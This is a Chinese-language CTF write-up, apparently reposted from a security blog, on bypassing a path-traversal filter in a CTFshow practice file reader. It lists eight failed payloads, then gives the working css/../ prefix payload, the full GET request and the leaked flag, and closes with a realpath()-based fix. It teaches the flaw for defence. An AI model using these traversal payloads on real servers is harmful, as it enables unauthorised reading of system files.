文章总结: 本文分析CTFshow文件管理助手的路径遍历漏洞,通过css/前缀拼接…/成功绕过路径过滤机制实现任意文件读取。关键发现是后端仅校验输入开头导致安全缺陷,建议使用realpath()进行最终路径验证和白名单校验。 综合评分: 85 文章分类: 渗透测试,漏洞分析,WEB安全,实战经验,解决方案
AI渗透测试 — 路径遍历过滤绕过:一个css/前缀引发的任意文件读取
原创
yushao yushao
网络安全者
2026年6月11日 15:15 河南
在小说阅读器读本章
去阅读
一、测试概述
| 项目 | 内容 | | — | — | | 测试目标 | CTFshow 文件管理助手(CTF练习平台) | | 漏洞类型 | 路径遍历(Path Traversal)/ 任意文件读取 | | 风险等级 | 高危 | | 测试时间 | 2026年6月 | | 授权说明 | CTFshow 授权练习靶场 |
二、信息收集
访问目标首页,发现一个文件读取功能:
- • 页面标题:CTFshow 文件管理助手
- • 功能:用户输入文件名,后端调用
file_get_contents()读取并回显内容 - • 默认读取文件:
test.txt - • 页面提示:目标flag文件为
/flag.txt - • HTTP方法:GET,参数名为
path
三、过滤规则分析
通过反复测试,识别出后端存在 两层过滤机制:
过滤规则 1 — 路径前缀检测:
// 禁止以 "/" 或 "../" 开头的路径
if (preg_match('/^(\.|\/)/', $path)) {
die("禁止以/或者../开头的文件名");
}
过滤规则 2 — 敏感关键词黑名单:
// 禁止包含敏感协议和关键词
if (preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path)) {
die("禁止访问敏感目录或文件");
}
四、绕过尝试记录
| 序号 | Payload | 结果 |
| — | — | — |
| 1 | /flag.txt | 被拦截:禁止以 / 开头 |
| 2 | ../../../flag.txt | 被拦截:禁止以 .. 开头 |
| 3 | ....//....//....//flag.txt | 被拦截:双写绕过无效 |
| 4 | ..%2F..%2F..%2Fflag.txt | 被拦截:URL编码未绕过正则 |
| 5 | %2e%2e%2f%2e%2e%2fflag.txt | 通过过滤,但PHP未解码,报文件不存在 |
| 6 | ..\..\..\flag.txt | 被拦截:反斜杠同样被检测 |
| 7 | %2fflag.txt | 通过过滤,但PHP视为字面文件名,报不存在 |
| 8 | file:///flag.txt | 被拦截:触发冒号 : 过滤 |
五、漏洞利用(核心绕过)
绕过思路: 既然不能以 / 或 .. 开头,那就用一个 真实存在的目录名作为前缀,在其后拼接 ../ 实现路径回退。
页面引用了 css/ 目录下的样式资源,说明该目录真实存在。后端拼接的文件路径为:
/var/www/html/css/../../../../../../../flag.txt
经过路径规范化后:
/var/www/html/css/ → /var/www/html/ → /var/www/ → /var/ → / → /flag.txt
最终Payload:
css/../../../../../../../flag.txt
完整请求:
GET /?path=css/../../../../../../../flag.txt HTTP/1.1
Host: [目标域名已屏蔽]
服务器响应(关键内容):
<div class="browser-content">
css/../../../../../../../flag.txt内容为:
FLAG = "CTF{file_path_bypass_is_fun}"
</div>
成功读取到 /flag.txt 文件内容。
六、漏洞原理
用户输入: css/../../../../../../../flag.txt
↓
┌─── 正则 /^(\.|\/)/ 检测 ───┐
│ 首字符为 'c',不是 . 或 / │
│ ✅ 通过过滤 │
└─────────────────────────────┘
↓
┌─── 敏感词黑名单检测 ─────────┐
│ 不含 data/log/filter/: 等 │
│ ✅ 通过过滤 │
└─────────────────────────────┘
↓
file_get_contents("/var/www/html/" . "css/../../../../../../../flag.txt")
↓
PHP路径规范化 → /flag.txt → 读取成功 → 回显内容
七、修复建议
// ❌ 不安全的做法(仅正则过滤前缀)
$path = $_GET['path'];
if (preg_match('/^(\.|\/)/', $path)) { die("禁止"); }
echo file_get_contents("/var/www/html/" . $path);
// ✅ 安全做法:使用 realpath() 验证最终路径
$base_dir = realpath("/var/www/html/");
$target = realpath("/var/www/html/" . $path);
if ($target === false || strpos($target, $base_dir) !== 0) {
die("非法路径");
}
echo file_get_contents($target);
核心修复要点:
- 1. 使用
realpath()解析最终路径,而非依赖输入字符串的正则匹配 - 2. 白名单校验:确认解析后的绝对路径仍在允许的基目录内
- 3. 最小权限原则:Web进程不应有读取系统敏感文件的权限
- 4. 额外加固:可结合
basename()限制只能读取指定目录下的文件
八、总结
本案例展示了路径遍历漏洞中 “前缀拼接绕过” 的经典思路。当后端仅对输入字符串的 开头 做正则校验时,攻击者可以利用一个真实存在的子目录作为跳板,在其后追加 ../ 序列回退到任意位置,最终实现根目录级别的任意文件读取。防御时应始终坚持 “先拼接,后验证最终路径” 的原则。
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 yushao yushao《AI渗透测试 — 路径遍历过滤绕过:一个css/前缀引发的任意文件读取》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论